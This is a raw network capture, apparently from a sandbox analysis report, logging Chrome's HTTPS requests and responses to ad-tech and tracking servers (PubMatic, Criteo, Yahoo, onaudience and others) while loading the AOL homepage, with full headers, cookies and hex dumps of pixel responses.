2024-05-23 22:35:07 UTC	1791	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=52330255&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7 [TRUNCATED]
2024-05-23 22:35:08 UTC	886	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=4; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: SyncRTB3=1719014400%3A203%7C1721606400%3A69%7C1717632000%3A21_56_243_166_8_233_81_161_22_264_46_214_234_249_13_251_220_55_54_165_71_254_238_88_99_266_3_176%7C1717286400%3A63%7C1717027200%3A2_15_223%7C1717718400%3A35; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 23 May 2024 22:35:06 GMT Content-Length: 1260 Connection: close
2024-05-23 22:35:08 UTC	1260	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 66 72 61 6d 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 61 64 2e 6d 72 74 6e 73 76 72 2e 63 6f 6d 2f 73 79 6e 63 2f 70 75 62 6d 61 74 69 63 3f 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 62 79 2e 62 69 64 74 68 65 61 74 72 65 2e 63 6f 6d 2f 70 75 62 6d 61 74 69 63 6d 61 74 63 68 3f 72 65 64 69 72 3d 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 77 4e 6a 49 6d 64 47 77 Data Ascii: PubMatic.loadAsyncIframePixel('https://ad.mrtnsvr.com/sync/pubmatic?gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://match.adsby.bidtheatre.com/pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.6	50315	74.119.117.16	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:08 UTC	880	OUT	GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1 Host: widget.us.criteo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:08 UTC	441	IN	HTTP/1.1 200 OK content-type: image/gif date: Thu, 23 May 2024 22:35:08 GMT server: Kestrel cache-control: no-cache expires: Thu, 23 May 2024 00:00:00 GMT pragma: no-cache transfer-encoding: chunked x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 182283 strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:08 UTC	54	IN	Data Raw: 32 42 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2BGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.6	50305	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:08 UTC	964	OUT	POST /p?s=1197803361&t=1716503679923&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=aol&partner=unknown&lang=en-US&region=US&device=desktop&colo=eu-west-1&bucket=aol-acookie-control%2Caol-aa-1&rid=30rmpplj4vh3m&limitedAds=false&NPA=false&pd=unknown&pt=unknown&type=PREBID_SESSION_START HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:08 UTC	1119	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:08 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:08 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:08 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:35:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.6	50304	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	960	OUT	POST /p?s=1197803361&t=1716503679931&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=aol&partner=unknown&lang=en-US&region=US&device=desktop&colo=eu-west-1&bucket=aol-acookie-control%2Caol-aa-1&rid=30rmpplj4vh3m&limitedAds=false&NPA=false&pd=unknown&pt=home&type=BENJI_SESSION_START HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	1119	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.6	50306	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1601	OUT	POST /p?_V=V&V_sec=pb&evt=p_init&t=0.4342580207332458&_sqno=0&ts=0&auto=false&bckt=none&ccode=&cdn=&cont=0&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=1&intl=us&lang=en-US&layout=aolgrid&lms_id=&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=init&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=&pstaid_p=&pstcat=&psz=0x0&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=undefined&ar=&ver=td-app-aol&vid=&vidPos=&vlng=0&vs=c85yacpk&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&view=&continuousPlay=0&loop=0&videoRecommendations=0&ff_ad=1&bcpVersion=7.18.1&brightcovePlayerId=LJKY1s7eB&overlayPluginVersion=3.0.0&adPluginVersion=5.4.2&playlistUIPluginVersion=5.1.1&percentViewable=NaN HTTP/1.1 Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	1058	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 94 date: Thu, 23 May 2024 22:35:09 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.6	50341	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1014	OUT	POST /p?s=1197803361&t=1716503691039&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=aol&partner=unknown&lang=en-US&region=US&device=desktop&colo=eu-west-1&bucket=aol-acookie-control%2Caol-aa-1&rid=30rmpplj4vh3m&limitedAds=false&NPA=false&pd=unknown&pt=home&type=YAHOO_PREBID_LIVEINTENT_TARGETING&hb_uid_mod=liveintentid_on_not_enriched HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	1119	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.6	50309	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	872	OUT	POST /p?s=1197805870&t=1716503684025&outcm=bannerDisplayDecision&gm_pjs=4&ver=consentjs&_R=www.aol.com&_w=https%3A%2F%2Fwww.aol.com%2F&etrg=backgroundPost&gm_vn=1.0.322&gm_beu=0&gm_inline=1&gm_lang=en-US&gm_np=aol HTTP/1.1 Host: ganon.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	1119	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.6	50340	141.94.170.64	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	772	OUT	GET /?partner=236&icm&cver&gdpr=0&smartmap=1&redirect=ps.eyeota.net%2Fpixel%3Fgdpr%3D0%26gdpr_consent%3D%26pid%3D3b2cb90%26t%3Dgif%26uid%3D%25m HTTP/1.1 Host: pixel.onaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookie=a4f26c9103f1a853; done_redirects236=1
2024-05-23 22:35:09 UTC	308	IN	HTTP/1.1 302 Found set-cookie: cookie=a4f26c9103f1a853; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:09 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None location: https://ps.eyeota.net/pixel?gdpr=0&gdpr_consent=&pid=3b2cb90&t=gif&uid=9feb68017206b52a content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.6	50308	34.192.68.138	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	788	OUT	GET /redirectuser?sid=GET_SID_FROM_ZETA&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dzeta_global_ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID HTTP/1.1 Host: ssp.disqus.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	756	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:09 GMT Content-Length: 0 Connection: close cache-control: no-store pragma: no-cache expires: 0 location: https://sync.go.sonobi.com/us?gdpr=0&gdpr_consent=&us_privacy=1YNN&loc=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D18%26buyeruid%3D%5BUID%5D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ== set-cookie: zeta-ssp-user-id=ua-d3a5a567-89dd-33ed-be20-40cbb3087081; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:09 GMT; Path=/; Domain=disqus.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.6	50314	3.78.151.12	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	796	OUT	GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Ddxu%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
